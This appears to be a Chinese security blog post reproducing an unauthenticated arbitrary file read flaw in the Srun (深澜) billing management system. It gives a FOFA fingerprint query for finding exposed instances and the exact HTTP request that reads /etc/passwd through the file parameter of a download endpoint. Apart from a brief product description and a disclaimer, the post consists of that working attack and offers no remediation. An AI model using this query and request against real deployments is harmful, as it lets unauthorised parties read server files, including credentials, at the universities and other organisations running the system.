本文主要是介绍【漏洞复现】深澜计费管理系统任意文件读取漏洞，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
0x01 产品简介
深澜计费管理系统是一套完善的、领先的具有复杂生物型特征的弹性认证计费系统。其主要由以下几个模块组成：AAA认证计费平台、系统运营维护管理平台、用户及策略管理平台、用户自助服务平台、智能客户端模块、消息推送模块以及数据统计模块。该系统为全球超过2500家客户提供服务，其中包括中国Top100高校中的60%选用本产品。
0x02 漏洞概述
深澜计费管理系统存在任意文件读取漏洞，未授权的攻击者可以通过该漏洞读取服务器任意文件。
0x03 测绘语句
fofa：icon_hash="-1546320596"0x04 漏洞复现
GET /user/group/down-load?file=/etc/passwd HTTP/1.1
0x05 影响范围
深澜计费管理系统0x06 免责声明
本文所涉及的任何技术、信息或工具，仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。这篇关于【漏洞复现】深澜计费管理系统任意文件读取漏洞的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
